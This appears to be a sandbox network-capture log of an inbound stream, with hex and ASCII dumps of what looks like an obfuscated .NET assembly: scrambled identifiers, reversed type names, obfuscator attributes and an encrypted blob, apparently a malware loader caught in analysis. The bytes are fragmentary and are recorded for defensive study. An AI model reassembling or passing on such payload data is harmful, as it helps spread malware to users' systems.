2022-01-06 20:04:23 UTC	81	IN	Data Raw: 41 5a 0f 22 02 24 f8 00 00 08 00 c6 00 f1 41 54 0f 22 02 2c f8 00 00 08 00 c6 00 fc 41 54 0f 22 02 34 f8 00 00 08 00 c6 00 07 42 54 0f 22 02 3c f8 00 00 08 00 c6 00 12 42 5a 0f 22 02 44 f8 00 00 08 00 c6 00 1d 42 54 0f 22 02 4c f8 00 00 08 00 c6 00 28 42 54 0f 22 02 54 f8 00 00 08 00 c6 00 33 42 54 0f 22 02 5c f8 00 00 08 00 c6 00 3e 42 54 0f 22 02 64 f8 00 00 08 00 c6 00 49 42 54 0f 22 02 6c f8 00 00 08 00 c6 00 54 42 54 0f 22 02 74 f8 00 00 08 00 c6 00 5f 42 5a 0f 22 02 7c f8 00 00 08 00 c6 00 6a 42 5a 0f 22 02 84 f8 00 00 08 00 c6 00 75 42 54 0f 22 02 8c f8 00 00 08 00 c6 00 80 42 54 0f 22 02 94 f8 00 00 08 00 c6 00 8b 42 54 0f 22 02 9c f8 00 00 08 00 c6 00 96 42 54 0f 22 02 a4 f8 00 00 08 00 c6 00 a1 42 54 0f 22 02 ac f8 00 00 08 00 c6 00 ac 42 54 0f Data Ascii: AZ"$AT",AT"4BT"<BZ"DBT"L(BT"T3BT"\>BT"dIBT"lTBT"t_BZ"\|jBZ"uBT"BT"BT"BT"BT"BT
2022-01-06 20:04:23 UTC	85	IN	Data Raw: 4d 05 9a 02 b4 01 01 00 08 00 c3 02 f4 40 fc 0e 9a 02 c4 01 01 00 08 00 c3 02 ff 40 fc 0e 9b 02 cc 01 01 00 08 00 c3 02 68 4a fc 0e 9c 02 d4 01 01 00 08 00 c3 02 36 41 3f 0f 9d 02 dc 01 01 00 08 00 c3 02 0c 44 6c 0f 9e 02 e4 01 01 00 08 00 c3 02 17 44 7e 01 9e 02 ec 01 01 00 08 00 c3 02 22 44 7b 0f 9e 02 fc 01 01 00 08 00 c3 02 38 44 7b 0f 9f 02 0c 02 01 00 08 00 c3 02 57 41 7e 01 a0 02 14 02 01 00 08 00 93 00 43 4b 45 01 a0 02 1c 02 01 00 08 00 93 00 57 4b b4 10 a0 02 24 02 01 00 08 00 93 00 6b 4b ba 10 a0 02 2c 02 01 00 00 00 91 18 d3 16 37 01 a1 02 34 02 01 00 08 00 86 18 53 00 cc 10 a1 02 3c 02 01 00 08 00 c3 02 5d 4a 4d 05 a3 02 48 02 01 00 08 00 c3 02 68 4a fc 0e a3 02 58 02 01 00 08 00 c3 02 f4 40 fc 0e a4 02 68 02 01 00 08 00 c3 02 ff 40 fc 0e a5 Data Ascii: M@@hJ6A?DlD~"D{8D{WA~CKEWK$kK,74S<]JMHhJX@h@
2022-01-06 20:04:23 UTC	89	IN	Data Raw: 17 38 03 88 0e 01 00 08 00 16 00 4e 6b 6f 17 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 98 0e 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 81 17 38 03 ac 0e 01 00 08 00 16 00 4e 6b 9d 17 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 c0 0e 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 c1 17 38 03 d4 0e 01 00 08 00 16 00 4e 6b d5 17 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 e8 0e 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 f1 17 38 03 fc 0e 01 00 08 00 16 00 4e 6b f7 17 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 08 0f 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 c7 0b 38 03 1c 0f 01 00 08 00 16 00 4e 6b 05 18 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 Data Ascii: 8Nko8Se878F+8Nk8Se878F+8Nk8Se878F+8Nk8Se878F+8Nk8Se8
2022-01-06 20:04:23 UTC	93	IN	Data Raw: 38 03 90 18 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 f4 1d 38 03 a4 18 01 00 08 00 16 00 4e 6b fc 1d 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 b4 18 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 0c 1e 38 03 c8 18 01 00 08 00 16 00 4e 6b 14 1e 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 d8 18 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 24 1e 38 03 ec 18 01 00 08 00 16 00 4e 6b 2b 1e 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 f8 18 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 3a 1e 38 03 0c 19 01 00 08 00 16 00 4e 6b 45 1e 38 03 00 00 00 00 03 00 06 18 53 00 65 01 38 03 1c 19 01 00 08 00 10 18 d3 16 37 01 38 03 00 00 00 00 03 00 46 00 2b 18 58 1e 38 03 30 Data Ascii: 878F+8Nk8Se878F+8Nk8Se878F+$8Nk+8Se878F+:8NkE8Se878F+X80
2022-01-06 20:04:23 UTC	96	IN	Data Raw: 21 00 00 01 00 ca 29 00 00 02 00 ca 29 00 00 01 00 9f 21 00 00 02 00 f1 21 03 00 03 00 1f 3c 00 00 04 00 26 3c 02 00 05 00 3f 22 00 00 01 00 9f 21 00 00 02 00 f1 21 03 00 03 00 1f 3c 00 00 04 00 26 3c 02 00 05 00 3f 22 00 00 06 00 d7 21 00 00 07 00 91 21 02 00 01 00 3f 22 00 00 02 00 ea 21 00 00 01 00 ca 29 00 00 02 00 ca 29 00 00 01 00 f3 3b 00 00 02 00 fd 3b 00 00 03 00 2b 3c 00 00 04 00 38 3c 00 00 01 00 f3 3b 00 00 02 00 fd 3b 00 00 03 00 2b 3c 00 00 04 00 38 3c 00 00 05 00 d7 21 00 00 06 00 91 21 00 00 01 00 38 3c 00 00 02 00 ea 21 00 00 01 00 ca 29 00 00 02 00 ca 29 00 00 01 00 47 3c 00 00 02 00 57 3c 00 00 03 00 81 24 00 00 01 00 47 3c 00 00 02 00 57 3c 00 00 03 00 81 24 00 00 04 00 d7 21 00 00 05 00 91 21 00 00 01 00 ea 21 00 00 01 00 ca 29 00 00 Data Ascii: !))!!<&<?"!!<&<?"!!?"!));;+<8<;;+<8<!!8<!))G<W<$G<W<$!!!)
2022-01-06 20:04:23 UTC	100	IN	Data Raw: 9f 07 c4 00 68 2c 9e 0e cc 00 59 33 6b 01 cc 00 f4 34 7e 01 c4 00 37 33 db 11 d4 00 37 33 db 11 dc 00 59 33 6b 01 dc 00 f4 34 7e 01 d4 00 df 35 d7 00 a4 00 37 33 db 11 e4 00 59 33 6b 01 e4 00 f4 34 7e 01 a4 00 53 00 d7 00 a4 00 16 3d fd 0c a4 00 0b 40 9f 07 bc 00 68 2c 9e 0e d4 00 2b 2c 4d 0e 99 03 53 00 32 01 ec 00 ae 51 c9 13 94 00 0b 40 9f 07 c4 00 2b 2c 4d 0e 94 00 68 2c 9e 0e ec 00 ba 51 88 07 91 03 2b 18 35 04 a1 03 53 00 d7 00 d4 00 53 00 d7 00 a9 03 53 00 32 01 fc 00 53 00 d7 00 fc 00 ae 51 c9 13 21 01 1a 52 01 14 41 02 53 00 07 14 81 02 25 52 fb 07 fc 00 ba 51 88 07 81 02 65 52 fb 07 81 02 70 52 fb 07 04 01 ae 51 c9 13 81 02 7a 52 fb 07 81 02 80 52 fb 07 81 02 84 52 fb 07 81 02 8e 52 fb 07 81 02 94 52 fb 07 81 02 9b 52 fb 07 81 02 a1 52 fb 07 81 Data Ascii: h,Y3k4~7373Y3k4~573Y3k4~S=@h,+,MS2Q@+,Mh,Q+5SSS2SQ!RAS%RQeRpRQzRRRRRRR
2022-01-06 20:04:23 UTC	104	IN	Data Raw: 79 63 69 6c 6f 50 74 72 6f 70 73 6e 61 72 54 49 73 6c 65 6e 6e 61 68 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 35 39 39 37 37 31 00 72 6f 74 70 69 72 63 73 65 44 72 61 68 43 72 65 64 69 76 6f 72 50 74 78 65 54 64 65 6b 73 61 4d 6c 65 64 6f 4d 74 6e 65 6e 6f 70 6d 6f 43 6d 65 74 73 79 53 39 30 32 39 37 00 56 61 6c 75 65 54 79 70 65 00 6e 6f 69 74 70 65 63 78 45 74 63 61 72 74 6e 6f 43 65 67 61 73 73 65 4d 64 69 6c 61 76 6e 49 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 38 39 37 36 34 00 65 74 69 75 53 6d 68 74 69 72 6f 67 6c 41 79 74 69 72 75 63 65 53 61 68 53 73 65 44 65 6c 70 69 72 54 79 74 69 72 75 63 65 53 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 33 34 31 38 34 00 4f 46 4e 49 54 4e 45 49 50 49 43 45 52 44 49 54 52 Data Ascii: yciloPtropsnarTIslennahCledoMecivreSmetsyS599771rotpircseDrahCredivorPtxeTdeksaMledoMtnenopmoCmetsyS90297ValueTypenoitpecxEtcartnoCegasseMdilavnIledoMecivreSmetsyS89764etiuSmhtiroglAytiruceSahSseDelpirTytiruceSledoMecivreSmetsyS34184OFNITNEIPICERDITR
2022-01-06 20:04:23 UTC	108	IN	Data Raw: 00 58 46 79 56 6e 72 36 6e 75 44 46 37 4b 64 4e 30 36 5a 6a 00 57 32 38 34 34 58 36 4d 4d 54 59 55 62 36 64 32 57 52 74 00 72 67 65 79 73 73 35 43 61 61 79 6d 70 5a 6d 4c 48 69 49 00 4a 36 61 38 34 68 35 73 4f 67 43 6a 66 74 47 58 41 79 6e 00 7a 69 6e 62 6c 45 35 50 63 54 4b 54 6d 69 6f 79 55 62 74 00 44 39 4d 62 50 6e 35 62 69 67 4f 62 6f 61 73 55 51 74 54 00 41 66 49 76 75 50 35 69 41 35 71 49 75 37 36 76 34 74 33 00 41 75 57 4c 44 66 35 6c 59 46 4d 5a 47 52 44 5a 78 32 52 00 51 59 72 57 30 66 35 53 6c 56 5a 56 4c 44 36 57 61 57 46 00 46 61 79 74 6b 68 35 33 53 6b 73 31 45 70 4a 65 44 69 69 00 2e 63 63 74 6f 72 00 69 42 65 71 47 57 35 45 71 62 76 6b 4a 71 34 53 75 38 48 00 4d 61 69 6e 00 45 6e 74 72 79 50 6f 69 6e 74 4e 6f 74 46 6f 75 6e 64 45 78 63 65 Data Ascii: XFyVnr6nuDF7KdN06ZjW2844X6MMTYUb6d2WRtrgeyss5CaaympZmLHiIJ6a84h5sOgCjftGXAynzinblE5PcTKTmioyUbtD9MbPn5bigOboasUQtTAfIvuP5iA5qIu76v4t3AuWLDf5lYFMZGRDZx2RQYrW0f5SlVZVLD6WaWFFaytkh53Sks1EpJeDii.cctoriBeqGW5EqbvkJq4Su8HMainEntryPointNotFoundExce
2022-01-06 20:04:23 UTC	113	IN	Data Raw: 62 6a 55 50 6b 5a 77 00 74 79 70 65 6d 64 74 00 46 69 65 6c 64 49 6e 66 6f 00 4d 65 74 68 6f 64 49 6e 66 6f 00 79 73 50 50 72 72 73 6d 59 6c 55 43 49 4f 45 50 41 6a 46 00 42 4f 6d 49 71 46 73 6b 53 5a 48 4a 4d 70 5a 42 36 74 48 00 6f 00 51 44 48 56 30 69 51 4b 67 00 41 73 73 65 6d 62 6c 79 00 55 36 58 45 36 6d 76 79 77 00 70 41 4c 31 30 53 4b 43 6f 43 00 44 69 63 74 69 6f 6e 61 72 79 60 32 00 53 79 73 74 65 6d 2e 43 6f 6c 6c 65 63 74 69 6f 6e 73 2e 47 65 6e 65 72 69 63 00 42 56 30 31 6d 75 42 49 66 30 00 4c 69 73 74 60 31 00 51 52 52 31 59 4b 66 42 4e 4a 00 6c 51 75 31 38 47 41 73 49 68 00 75 65 51 31 43 42 5a 71 77 72 00 58 34 68 31 41 39 32 38 79 4e 00 58 42 56 31 6c 6c 63 4a 48 56 00 69 42 4e 31 55 38 52 67 4e 47 00 44 30 38 31 52 6a 42 5a 37 58 00 68 Data Ascii: bjUPkZwtypemdtFieldInfoMethodInfoysPPrrsmYlUCIOEPAjFBOmIqFskSZHJMpZB6tHoQDHV0iQKgAssemblyU6XE6mvywpAL10SKCoCDictionary`2System.Collections.GenericBV01muBIf0List`1QRR1YKfBNJlQu18GAsIhueQ1CBZqwrX4h1A928yNXBV1llcJHViBN1U8RgNGD081RjBZ7Xh
2022-01-06 20:04:23 UTC	117	IN	Data Raw: 39 41 4c 72 6f 45 61 38 54 76 70 57 45 38 44 51 00 6c 43 31 76 33 62 72 77 36 46 42 44 49 54 37 31 6a 75 6f 00 67 65 74 5f 49 64 00 41 64 59 6b 33 4c 72 6a 6d 54 30 59 45 41 71 4f 38 68 74 00 4b 76 4d 68 52 4e 72 68 69 48 54 63 34 34 37 6e 62 44 48 00 78 72 4a 58 43 75 72 5a 52 6a 55 56 32 44 6a 30 45 69 67 00 67 65 74 5f 50 6f 73 69 74 69 6f 6e 00 44 30 6b 62 37 70 72 52 61 74 70 4e 65 52 53 4b 71 31 4d 00 4a 5a 52 39 66 75 72 59 43 45 31 69 64 52 46 62 55 4f 31 00 63 38 77 66 4d 57 72 4c 54 36 59 66 6e 31 50 73 79 73 4c 00 44 48 58 33 48 65 72 74 54 56 30 75 53 64 6d 5a 4b 4d 5a 00 62 34 6a 51 44 35 72 4f 4c 31 42 4c 6c 43 33 46 4e 6a 68 00 75 32 76 4e 47 4b 72 70 74 65 6f 34 73 58 69 46 45 42 68 00 67 65 74 5f 55 54 46 38 00 75 57 4e 44 6a 6b 72 6d 78 Data Ascii: 9ALroEa8TvpWE8DQlC1v3brw6FBDIT71juoget_IdAdYk3LrjmT0YEAqO8htKvMhRNrhiHTc447nbDHxrJXCurZRjUV2Dj0Eigget_PositionD0kb7prRatpNeRSKq1MJZR9furYCE1idRFbUO1c8wfMWrLT6Yfn1PsysLDHX3HertTV0uSdmZKMZb4jQD5rOL1BLlC3FNjhu2vNGKrpteo4sXiFEBhget_UTF8uWNDjkrmx
2022-01-06 20:04:23 UTC	121	IN	Data Raw: 63 00 55 6f 48 57 31 47 76 37 58 32 57 39 42 79 30 72 55 39 45 00 67 54 36 65 5a 71 76 44 30 32 55 75 31 4e 30 58 35 6e 43 00 4e 4b 73 64 76 6f 76 58 33 4f 79 79 63 4f 64 6a 75 31 32 00 4f 6f 6e 52 5a 39 76 4b 51 4d 31 51 74 67 73 37 6f 6c 52 00 77 52 74 78 34 4f 76 38 66 6d 65 47 46 4f 63 64 68 4e 69 00 79 4c 34 48 34 63 76 67 6c 4e 79 53 6f 53 69 56 44 4b 34 00 48 47 48 56 50 73 76 39 6a 54 6f 65 33 43 53 4b 70 5a 57 00 46 4b 76 32 32 53 76 34 41 45 77 70 33 4e 38 69 31 30 48 00 47 6f 35 4e 72 76 76 42 64 47 76 48 4f 4a 36 64 44 6a 37 00 47 57 76 54 58 73 76 54 74 6f 72 30 6b 53 42 45 67 6f 75 00 61 71 77 69 6d 76 73 54 44 59 00 57 4b 46 73 30 63 76 4e 6c 32 44 66 6f 62 41 4b 42 75 72 00 56 71 53 68 6a 49 76 47 68 49 73 74 4e 34 38 43 32 6b 56 00 50 76 Data Ascii: cUoHW1Gv7X2W9By0rU9EgT6eZqvD02Uu1N0X5nCNKsdvovX3OyycOdju12OonRZ9vKQM1Qtgs7olRwRtx4Ov8fmeGFOcdhNiyL4H4cvglNySoSiVDK4HGHVPsv9jToe3CSKpZWFKv22Sv4AEwp3N8i10HGo5NrvvBdGvHOJ6dDj7GWvTXsvTtor0kSBEgouaqwimvsTDYWKFs0cvNl2DfobAKBurVqShjIvGhIstN48C2kVPv
2022-01-06 20:04:23 UTC	125	IN	Data Raw: 6c 5a 00 72 31 56 55 6b 6a 33 66 59 47 00 52 65 6d 6f 76 65 41 74 00 55 49 69 46 4b 4e 49 71 6a 6c 78 6a 38 73 38 71 44 76 4d 00 67 5a 39 30 70 6e 49 4e 4b 70 31 56 6f 4a 49 4a 4d 72 71 00 53 36 31 74 68 6c 49 47 68 6a 79 53 6b 73 56 71 32 56 62 00 47 4f 77 31 31 34 49 56 66 36 76 4f 53 69 6d 78 32 4e 78 00 7a 4e 41 6f 49 44 49 63 41 66 6d 57 34 56 59 47 68 70 57 00 75 56 4e 77 49 47 49 4d 59 5a 75 78 56 6f 6b 68 6d 47 55 00 6d 53 52 4b 4e 6a 49 7a 63 64 33 4a 62 50 72 65 76 45 37 00 30 45 34 34 38 45 46 35 45 35 45 36 30 36 33 30 42 44 44 42 31 39 33 38 38 43 42 36 33 37 38 34 33 36 45 33 43 36 35 44 30 33 44 44 36 36 44 41 37 43 36 45 42 46 46 35 36 33 42 44 38 35 37 41 00 34 42 45 44 33 41 44 43 35 32 44 34 39 30 34 30 37 35 46 36 42 42 46 32 37 39 45 Data Ascii: lZr1VUkj3fYGRemoveAtUIiFKNIqjlxj8s8qDvMgZ90pnINKp1VoJIJMrqS61thlIGhjySksVq2VbGOw114IVf6vOSimx2NxzNAoIDIcAfmW4VYGhpWuVNwIGIMYZuxVokhmGUmSRKNjIzcd3JbPrevE70E448EF5E5E60630BDDB19388CB6378436E3C65D03DD66DA7C6EBFF563BD857A4BED3ADC52D4904075F6BBF279E
2022-01-06 20:04:23 UTC	128	IN	Data Raw: 38 65 35 32 65 63 61 38 63 62 36 64 34 35 37 39 39 63 65 66 64 31 62 61 39 37 65 39 33 33 66 64 00 6d 5f 65 34 32 66 38 34 37 65 35 61 39 35 34 36 32 34 38 31 35 39 64 34 35 32 39 61 32 34 61 32 34 30 00 6d 5f 65 34 37 32 66 38 65 39 39 33 66 31 34 39 62 33 39 34 39 37 30 34 33 66 34 34 39 65 35 39 34 62 00 6d 5f 30 30 32 35 31 32 32 39 32 36 61 64 34 30 64 31 61 39 30 61 64 36 34 66 65 66 34 64 39 62 32 37 00 6d 5f 30 66 38 61 37 64 30 66 38 35 61 32 34 32 36 32 62 33 35 31 36 64 38 61 36 37 65 64 32 62 36 30 00 6d 5f 65 65 66 38 36 32 31 62 31 31 38 65 34 38 37 65 62 61 33 64 62 66 38 66 61 61 37 32 64 38 37 32 00 6d 5f 33 30 32 36 38 33 39 37 35 66 32 34 34 35 62 33 39 65 62 62 35 34 31 35 37 38 31 36 39 36 34 37 00 6d 5f 33 32 63 32 38 34 65 32 30 65 Data Ascii: 8e52eca8cb6d45799cefd1ba97e933fdm_e42f847e5a9546248159d4529a24a240m_e472f8e993f149b39497043f449e594bm_0025122926ad40d1a90ad64fef4d9b27m_0f8a7d0f85a24262b3516d8a67ed2b60m_eef8621b118e487eba3dbf8faa72d872m_302683975f2445b39ebb541578169647m_32c284e20e
2022-01-06 20:04:23 UTC	132	IN	Data Raw: 00 6d 00 6f 00 43 00 61 00 74 00 61 00 44 00 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 32 00 39 00 30 00 37 00 77 00 59 00 4c 00 49 00 54 00 4d 00 48 00 59 00 77 00 38 00 51 00 4d 00 68 00 6b 00 7a 00 4d 00 67 00 45 00 54 00 41 00 54 00 41 00 2b 00 4b 00 52 00 38 00 74 00 63 00 42 00 45 00 59 00 4f 00 30 00 56 00 6c 00 56 00 77 00 3d 00 3d 00 00 73 45 00 6c 00 6c 00 6f 00 43 00 79 00 6c 00 6e 00 4f 00 64 00 61 00 65 00 52 00 6e 00 6f 00 6d 00 6d 00 6f 00 43 00 61 00 74 00 61 00 44 00 6d 00 65 00 74 00 73 00 79 00 53 00 38 00 32 00 39 00 30 00 37 00 6c 00 6f 00 68 00 41 00 54 00 4a 00 59 00 42 00 43 00 34 00 71 00 49 00 33 00 59 00 6f 00 43 00 68 00 34 00 69 00 62 00 41 00 3d 00 3d 00 00 80 83 46 00 6c 00 6c 00 6f 00 43 00 79 00 6c 00 6e 00 4f 00 64 00 61 Data Ascii: moCataDmetsyS82907wYLITMHYw8QMhkzMgETATA+KR8tcBEYO0VlVw==sElloCylnOdaeRnommoCataDmetsyS82907lohATJYBC4qI3YoCh4ibA==FlloCylnOda
2022-01-06 20:04:23 UTC	136	IN	Data Raw: 54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 15 01 54 02 10 53 6b 69 70 56 65 72 69 66 69 63 61 74 69 6f 6e 01 08 01 00 08 00 00 00 00 00 08 b7 7a 5c 56 19 34 e0 89 04 20 01 01 08 1e 01 00 01 00 54 02 16 57 72 61 70 4e 6f 6e 45 78 63 65 70 74 69 6f 6e 54 68 72 6f 77 73 01 03 20 00 01 08 01 00 02 00 00 00 00 00 05 20 01 01 11 1d 47 01 00 1a 2e 4e 45 54 46 72 61 6d 65 77 6f 72 6b 2c 56 65 72 73 69 6f 6e 3d 76 34 2e 30 01 00 54 0e 14 46 72 61 6d 65 77 6f 72 6b 44 69 73 70 6c 61 79 4e 61 6d 65 10 2e 4e 45 54 20 46 72 61 6d 65 77 6f 72 6b 20 34 04 20 01 01 0e 03 00 00 01 03 06 12 08 05 00 01 01 1d 0e 03 00 00 02 04 00 00 12 08 03 06 12 0c 03 00 00 0a 08 00 02 01 12 80 8c 1d 1c 05 15 12 4d 01 02 05 20 02 01 1c 18 04 20 00 13 00 04 00 00 12 Data Ascii: Token=b77a5c561934e089TSkipVerificationz\V4 TWrapNonExceptionThrows G.NETFramework,Version=v4.0TFrameworkDisplayName.NET Framework 4 M
2022-01-06 20:04:23 UTC	140	IN	Data Raw: 09 20 02 01 12 81 7c 12 80 91 05 07 01 12 81 3c 05 00 00 12 81 3c 04 06 12 81 40 05 00 00 12 81 40 04 06 12 81 44 05 00 00 12 81 44 04 06 12 81 4c 04 06 12 81 48 05 00 00 12 81 48 05 00 00 12 81 4c 04 06 12 81 35 09 06 15 12 80 d1 01 12 81 24 05 06 1d 12 81 40 09 06 15 12 80 d1 01 12 81 44 09 06 15 12 80 d1 01 12 81 48 04 06 12 81 50 05 00 00 12 81 50 04 06 12 81 54 07 20 02 01 12 80 c1 08 05 00 00 12 81 54 09 06 15 12 80 d1 01 12 81 54 04 06 12 81 58 0e 20 02 01 12 81 35 15 12 80 d1 01 12 81 54 08 15 12 80 d1 01 12 81 54 0a 20 02 01 12 81 35 1d 12 81 54 04 20 01 02 1c 07 07 03 12 81 58 08 08 0f 07 04 08 15 11 81 c1 01 12 81 54 12 81 54 08 08 15 11 81 c1 01 12 81 54 09 20 00 15 11 81 c1 01 13 00 06 20 01 12 81 54 08 10 07 03 15 11 81 c1 01 12 81 54 12 81 Data Ascii: \|<<@@DDLHHL5$@DHPPT TTX 5TT 5T XTTT TT
2022-01-06 20:04:23 UTC	145	IN	Data Raw: 0d 80 b5 01 00 50 80 ae 53 47 39 4b 69 79 49 62 74 64 67 47 44 66 31 32 71 72 2e 7a 32 6a 63 36 33 66 4c 6b 75 67 53 31 58 38 51 39 4e 2b 4e 69 66 76 64 70 74 68 58 79 5a 53 33 6a 38 58 78 45 2b 6a 73 54 38 56 69 31 6e 71 57 32 6e 4d 36 46 4b 4b 43 4a 60 31 5b 5b 53 79 73 74 65 6d 2e 4f 62 6a 65 63 74 2c 20 6d 73 63 6f 72 6c 69 62 2c 20 56 65 72 73 69 6f 6e 3d 34 2e 30 2e 30 2e 30 2c 20 43 75 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39 5d 5d 5b 5d 00 00 39 01 00 03 00 54 0e 07 46 65 61 74 75 72 65 06 45 5a 4f 50 53 45 54 02 07 45 78 63 6c 75 64 65 00 54 02 15 53 74 72 69 70 41 66 74 65 72 4f 62 66 75 73 63 61 74 69 6f 6e 00 08 01 00 03 00 00 00 00 00 06 20 01 01 Data Ascii: PSG9KiyIbtdgGDf12qr.z2jc63fLkugS1X8Q9N+NifvdpthXyZS3j8XxE+jsT8Vi1nqW2nM6FKKCJ`1[[System.Object, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]][]9TFeatureEZOPSETExcludeTStripAfterObfuscation
2022-01-06 20:04:23 UTC	149	IN	Data Raw: 81 75 86 4f 77 36 ab 14 83 01 d4 12 4d 3c f6 61 b6 f3 e0 3b 8f 1f 36 9c 4d 23 fb 00 2f 18 28 3a 6c 2a 30 e2 9f 09 a2 29 00 47 8a 13 47 02 0c 5d 5a ae de de 18 90 ff 95 49 57 2f 3a 8e 50 75 fa 1b 0b 8c 78 b6 55 82 6c 3d 6e 91 03 5d 51 bf dc 81 a6 91 20 e5 03 e6 83 fa 72 b7 55 da 4b 32 1c 1f 6b 4c 1f 03 04 37 bd 39 38 83 12 55 ef 86 aa 26 db 72 6a 19 ff b9 d0 13 90 5b 00 55 80 42 21 32 6e 70 49 14 98 03 28 ea a4 19 db aa f1 a3 0e 62 31 a9 81 2b 58 9a 9c 85 90 c3 5a c7 e3 ef 1b 1b 6e 8d 7e 38 5e f0 5e d1 eb d1 46 8d 2e f6 97 24 b9 18 65 bb 0e 02 6b a8 d9 5f c7 a3 53 00 7d 20 f1 11 fc 36 7d 0e 91 1a b4 a3 aa 98 7b 27 08 23 f9 af 95 7d 96 ff ca be 02 96 22 a7 81 dc 73 da 98 e9 ae 0e 3d d4 dd 29 7e 1f a3 b2 59 89 1e 0a 86 81 ce 56 a7 53 6a 40 84 a6 00 89 4e 9d Data Ascii: uOw6M<a;6M#/(:l*0)GG]ZIW/:PuxUl=n]Q rUK2kL798U&rj[UB!2npI(b1+XZn~8^^F.$ek_S} 6}{'#}"s=)~YVSj@N
2022-01-06 20:04:23 UTC	153	IN	Data Raw: 98 82 02 4a 2d bc 7d 0c 3a f4 76 7a e7 fb 97 90 cb 18 5c 0e b8 2c 56 1c d2 22 29 d8 2f cd b7 5c ab 4a fd ee 3f a0 f7 01 4d aa de d5 37 2b ff b8 1f 9d 97 d5 f1 bf af bb 81 a6 e8 96 b1 41 0c 98 4f 92 dd 34 d5 ff e4 5f 4b 4d 49 b3 66 46 87 94 cf f8 0d aa be 1a d2 4d 7c 41 bf 99 a1 e5 d4 e8 6f 6b 79 9e 11 57 0f 8b f3 02 89 48 45 26 82 f3 9b 49 8f b0 d4 5e ac 57 a4 03 e1 21 ef c2 af 9e 15 54 2e e5 93 ea 62 31 60 e4 b9 93 ac 87 5e 05 0f ff 14 66 c1 ba dd 48 d8 1e 94 1a f3 15 e2 ad 82 04 38 7f 10 20 fd 7a 19 b1 de 3f a2 35 5c bf aa 8e 70 02 9a b2 cc 4c 0c 82 ad 60 f3 92 37 de 96 72 53 9c b1 a7 58 74 a0 fd 39 9f cb c1 71 46 ca 4a d7 e7 36 80 f1 75 b3 d6 dc b4 5a ef a5 d8 60 b0 49 98 36 97 11 3a 9c f3 c6 fa 71 fb e8 d8 73 7e c9 ab 09 38 84 e9 01 c4 16 34 51 c5 59 Data Ascii: J-}:vz\,V")/\J?M7+AO4_KMIfFM\|AokyWHE&I^W!T.b1`^fH8 z?5\pL`7rSXt9qFJ6uZ`I6:qs~84QY
2022-01-06 20:04:23 UTC	157	IN	Data Raw: 16 94 de bc a4 ad 3f 26 b3 02 a6 d3 ff dc 53 11 7a 67 cc 08 16 5c e0 88 00 d8 41 f4 b0 22 54 da b1 42 26 b4 c1 00 c8 de 8d cc ea ac 41 57 63 96 10 a6 15 6a 7d a1 e6 d2 cd 69 74 d4 4a 5c cf 52 5f 1c f3 8a 1e 6d 42 0b 88 d7 81 2c 3a 0d 87 cf 67 66 87 9b f3 01 eb c5 78 da 54 73 d2 bb ce b2 e6 d2 fa 81 53 38 0f 7e 1d 36 7d e0 d3 60 d1 3e 36 dd 7c 6b 23 b3 4c b0 74 d9 41 ec 46 69 06 45 3d b6 2c 78 38 23 0e 2f ac 9b a4 10 88 06 dc 80 d6 27 7f 4d 1e ad 97 a1 ba 00 10 b7 e2 83 0d 90 a3 e1 0c 52 7b 66 57 c2 03 f9 9f 6c 5e 7f 7d 2e bf 2e 2d 91 5b ca 56 cd 68 47 0a a8 1b c9 0d 74 12 8e 7b 44 07 ee 14 de 3a 61 61 c8 e5 17 f5 ae bb 4a ae de 99 ec e0 ab cc 93 9f 60 f4 a2 5d bf c5 1b 26 98 4f ad 50 4d 8a 93 a8 ed 5f 4b 03 5f 70 01 b8 df eb eb 12 38 3f f5 29 e0 e3 5b a6 Data Ascii: ?&Szg\A"TB&AWcj}itJ\R_mB,:gfxTsS8~6}`>6\|k#LtAFiE=,x8#/'MR{fWl^}..-[VhGt{D:aaJ`]&OPM_K_p8?)[
2022-01-06 20:04:23 UTC	160	IN	Data Raw: 60 d2 c7 ed a0 08 86 ee 07 ff 62 da 93 70 5e 8b 97 8b f7 3e 49 ee cd 90 47 5c bd c5 5f 6d 25 c8 c7 61 10 cc 7e c3 77 f9 c3 22 6a 93 4f 01 95 31 dc 9c d6 2b 57 ce 92 c8 bd e4 15 5e d4 be bb ed 32 86 c0 33 0c 83 c3 44 68 5a 1a a9 69 87 3b 9d 86 5c 4e f8 fb ac 2c d1 49 6c f5 54 84 4e 04 04 22 dc 16 8d e5 a3 0e 65 b0 28 e9 9c 69 df 79 1b 6b de d0 c2 38 2c c7 08 35 0c 84 fa 33 0c 66 d8 bf 65 36 6c f8 ec 32 09 1e 74 a7 c7 81 71 d3 34 d5 fb ce fb da ff 6f 8b 51 98 d2 4f dc f1 0c 69 c7 a3 54 c9 0f 18 ee 24 16 de 78 75 60 1f 7c 54 a0 75 fd a8 6b 7d 5b 32 77 0c 26 72 73 4b a1 32 55 55 fa 3c 7b 5a 9f 4b 86 f3 ed 6d 3f 59 